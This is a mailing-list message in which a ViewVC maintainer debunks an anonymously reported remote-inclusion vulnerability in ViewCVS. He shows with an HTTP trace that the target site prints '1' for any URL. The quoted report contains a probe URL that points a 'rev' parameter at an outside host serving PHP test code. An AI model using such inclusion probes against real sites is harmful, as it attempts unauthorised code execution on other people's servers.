Re: [viewvc-dev] Possible vulnerability in ViewCVS

toby wrote:
> Michael, thanks for the update. Details would be welcome if you care to 
> forward them along.

Did you not get my most recent mail to you?  I'll repeat its contents here:
--------------------------------------------------------------------------

toby wrote:
 > Michael,
 > Our contributor would prefer to remain anonymous but offered this to help
 > validate:
 >
 > "here is an example of a site that is vulnerable:
 >
 > 
http://cvs.bleedingsnort.com/cgi-bin/viewcvs.cgi/snort/etc/sid-msg.map?rev=http://nocsom.org/images/IDsafeon.txt???
 >
 > The hostile web site is:
 >   http://nocsom.org/images/IDsafeon.txt
 > It returns PHP code that tests the system.
 > If the code is executed by the PHP handler in the web server, then it
 > returns the number "1" to indicate a success.
 >
 > Thus: Bleedingsnort.com <http://bleedingsnort.com/> is vulnerable.
 > (Can I get a "w00t"?  W00T!)

With all due respect to your anonymous reporter, *any* URL at 
http://cvs.bleedingsnort.com/ appears to return a page that displays '1'.

Try it yourself:

    http://cvs.bleedingsnort.com/fribbjobbilygook
    http://cvs.bleedingsnort.com/christina-aguilera-makes-me-sweat
    http://cvs.bleedingsnort.com/viewcvs/does/not/have/this/vulnerability

They all return '1'.

Here's a network trace of a GET of that last bogus URL.

The request:

    ---
    GET /viewcvs/does/not/have/this/vulnerability HTTP/1.0
    User-Agent: Wget/1.10.2
    Accept: */*
    Host: cvs.bleedingsnort.com
    Connection: Keep-Alive
    ---

And the response:

    ---
    HTTP/1.1 404 Not Found
    Date: Thu, 24 Jan 2008 04:35:28 GMT
    Server: Apache/2.2.6
    Last-Modified: Fri, 15 Dec 2006 18:12:35 GMT
    ETag: "33c5ba-2-93864ac0"
    Accept-Ranges: bytes
    Content-Length: 2
    Keep-Alive: timeout=15, max=100
    Connection: Keep-Alive
    Content-Type: text/html

    1
    ---

I suspect this site has a 404 handler installed which, for some reason, 
prints "1".  And as it turns out, when you request a bogus revision number 
of ViewCVS, it tells the web server that the request status is -- you 
guessed it -- 404.

Googling for sites which link to cvs.bleedingsnort.com reveals one hit 
that's talking about the box being a CVS server, not a ViewCVS server.  It 
appears that the ViewCVS instance for that groups projects lives instead at 
http://www.bleedingthreats.net/cgi-bin/viewcvs.cgi/.

I sincerely appreciate the information, but based on what I've seen so far, 
I think your informant is completely wrong.

 > I am happy to simply post that everyone using ViewCVS should update
 > already if that is your preference, but I can also post any fix you care
 > to release.

Well, I'd certainly love to have folks upgrade to the latest ViewVC release, 
1.0.4.  In fact, version 1.0.3 did contain a real security fix.  But I'd 
prefer to have them upgrade based on facts rather than out of concern for a 
problem that doesn't seem to exist.

-- 
C. Michael Pilato <[email protected]>
CollabNet   <>   www.collab.net   <>   Distributed Development On Demand

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFHocorokEGqRcG/W4RAsTBAJ91nPKdq5JQRA5p4HHD8Y0Yx8dqDwCgsi2m
8TCEV90ajgfabrkpJ6N/H+4=
=dTEb
-----END PGP SIGNATURE-----